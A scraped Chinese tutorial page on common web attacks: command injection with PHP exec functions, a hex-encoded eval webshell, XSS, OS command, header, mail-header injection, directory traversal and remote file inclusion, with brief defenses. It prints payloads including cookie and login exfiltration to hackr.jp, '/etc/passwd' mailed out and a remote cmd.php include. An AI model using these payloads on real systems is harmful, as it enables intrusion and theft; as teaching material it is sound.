常见WEB攻击之命令注入

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了常见WEB攻击之命令注入相关的知识,希望对你有一定的参考价值。

参考技术A 即 Command Injection。是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。

在Web应用中,有时候会用到一些命令执行的函数,如php中system、exec、shell_exec等,当对用户输入的命令没有进行限制或者过滤不严导致用户可以执行任意命令时,就会造成命令执行漏洞。

黑客将构造好的命令发送给web服务器,服务器根据拼接命令执行注入的命令,最后讲结果显示给黑客。

以DVWA为例,下面使用ping命令测试IP,正常输入一个IP或者域名会返回一个正常的返回结果。
当输入恶意构造的语句 www.baidu.com && netstat -an,会把后面的语句也给执行了:

执行结果:

PHP的常见命令执行函数:
system(),exec(),shell_exec(),passthru()

1、system()

system — 执行外部程序,并且显示输出

常规用法:

使用PHP执行:
php test1.php www.baidu.com

exec — 执行一个外部程序

3、shell_exec()

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

4、passthru()

passthru() 函数与 exec() 函数类似,执行外部程序并且显示原始输出。

Windows:

用^转义<

如果加上单引号会写不进去,如果加双引号会把双引号一起写进去,所以要用^转义<

Linux:

linux下需要用来转义<,不过很多php都默认开启gpc,可以先用16进制转换一句话再用xxd命令把16进制还原.

<?php eval($_POST[pass]);>
转换为16进制:
3c3f706870206576616c28245f504f53545b706173735d293b3e

由于我用的是Linux,所以使用payload写入一句话:

写入成功:

1、采用白名单,或使用正则表达式进行过滤。

2、不要让用户可以直接控制eval()、system、exec、shell_exec等函数的参数。

3、在进入执行命令函数和方法前,对变量进行过滤,对敏感字符进行转义。

常见Web安全漏洞深入解析

常见Web安全漏洞深入解析

1.XSS跨站脚本攻击

运行非法的HTML标签或JavaScript进行的一种攻击

产生场景😇

在动态生成HTML处发生:🥳

下面以编辑个人信息页面为例讲解跨站脚本攻击。下方界面显示了用户输入的个人信息内容。

确认界面按原样显示在编辑界面输入的字符串。此处输入带有山口一郎这样的HTML标签的字符串。

此时的确认界面上,浏览器会把用户输入的<s>解析成HTML标签,然后显示删除线

利用方法🥸

恶意获取用户等登录信息:🥺

下图网站通过地址栏中URI的查询字段指定ID,即相当于在表单内自动填写字符串的功能。而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞

于是我们构造恶意的URL:

http://example.jp/login?ID="><script>var+f=document=>
.getElementById("login"); +f.action="http://hackr.jp/pwget"; +f.method==>
"get";</script><span+s="

当用户在表单内输入ID和密码之后,就会直接发送到攻击者的网站(也就是hackr.jp),导致个人登录信息被窃取

对用户Cookie的窃取攻击:🥹

为了方便使用,我们直接在hacker服务器上构建一个js文件用于攻击:

<script src=http://hackr.jp/xss.js></script>

该脚本内指定的http://hackr.jp/xss.js文件。即下面这段采用JavaScript编写的代码。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段JavaScript程序,即可访问到该Web应用所处域名下的Cookie信息。然后这些信息会发送至攻击者的Web网站


2.SQL注入攻击

SQL注入是攻击者将SQL语句改变成开发者意想不到的形式以达到破坏结构的攻击。

搜索时利用恶意SQL:🤠


3.OS命令注入攻击

通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险

下面以咨询表单的发送功能为例,讲解OS注入攻击。该功能可将用户的咨询邮件按已填写的对方邮箱地址发送过去。

下面摘选处理该表单内容的一部分核心代码。

my $adr = $q->param('mailaddress');
open(MAIL, "¦ /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\\n";

攻击者将下面的值指定作为邮件地址。

; cat /etc/passwd ¦ mail hack@example.jp

程序接收该值,构成以下的命令组合。

¦ /usr/sbin/sendmail ; cat /etc/passwd ¦ mail hack@example.jp

攻击者的输入值中含有分号(;)。这个符号在OS命令中,会被解析为分隔多个执行命令的标记。

可见,sendmail命令执行被分隔后,接下去就会执行cat /etc/passwd| mail hack@example.jp这样的命令了。结果,含有Linux账户信息/etc/passwd的文件,就以邮件形式发送给了hack@example.jp


4.HTTP首部注入攻击

攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击

如下所示,Web应用有时会把从外部接收到的数值,赋给响应首部字段Location和Set-Cookie。

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=1234512345就是插入值

HTTP首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击。

下面我们以选定某个类别后即可跳转至各类别对应页面的功能为例,讲解HTTP首部注入攻击。该功能为每个类别都设定了一个类别ID值,一旦选定某类别,就会将该ID值反映在响应内的Location首部字段内,形如Location:http://example.com/?cat=101。令浏览器发生重定向跳转。

攻击者以下面的内容替代之前的类别ID后发送请求。

101%0D%0ASet-Cookie:+SID=123456789

其中,%0D%0A代表HTTP报文中的换行符,紧接着的是可强制将攻击者网站的会话ID设置成SID=123456789Set-Cookie首部字段

HTTP响应截断攻击:🤡

HTTP响应截断攻击是用在HTTP首部注入的一种攻击。攻击顺序相同,但是要将两个%0D%0A%0D%0A并排插入字符串后发送。利用这两个连续的换行就可作出HTTP首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。这样的攻击叫做HTTP响应截断攻击。

%0D%0A%0D%0A<HTML><HEAD><TITLE>之后,想要显示的网页内容 <!--

5.邮件首部注入攻击

Web应用中的邮件发送功能,攻击者通过向邮件首部To或Subject内任意添加非法内容发起的攻击。利用存在安全漏洞的Web网站,可对任意邮件地址发送广告邮件或病毒邮件

下面以Web页面中的咨询表单为例讲解邮件首部注入攻击。该功能可在表单内填入咨询者的邮件地址及咨询内容后,以邮件的形式发送给网站管理员。

例如:使用两个连续的换行符就有可能篡改邮件文本内容并发送

bob@hackr.jp%0D%0A%0D%0ATest Message

再以相同的方法,就有可能改写To和Subject等任意邮件首部,或向文本添加附件等动作


6.目录遍历攻击

目录遍历攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击

通过Web应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用.../等相对路径定位到/etc/passed等敏感的绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除Web服务器上的文件

例如:攻击者设置如下查询字段后发出请求

http://example.com/read.php?log=../../etc/passwd

7.远程文件包含漏洞

远程文件包含漏洞是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击

下面以include读入由查询字段指定文件的功能为例,讲解远程文件包含漏洞。该功能可通过以下查询字段形式指定文件名,并在脚本内的include语句处读入这个指定文件。

http://example.com/foo.php?mod=news.php

foo.php源码如下:

$modname = $_GET['mod'];
include($modname);

攻击者指定如同下面形式的URL发出请求:

http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls

以上是关于常见WEB攻击之命令注入的主要内容,如果未能解决你的问题,请参考以下文章

Web攻防之XSS,CSRF,SQL注入

Web攻防之XSS,CSRF,SQL注入(转)

PHP安全之Web攻击

PHP安全之web攻击

Web攻防之XSS,CSRF,SQL注入鹏越·学霸专区

《白帽子讲WEB安全》学习笔记之第7章 注入攻击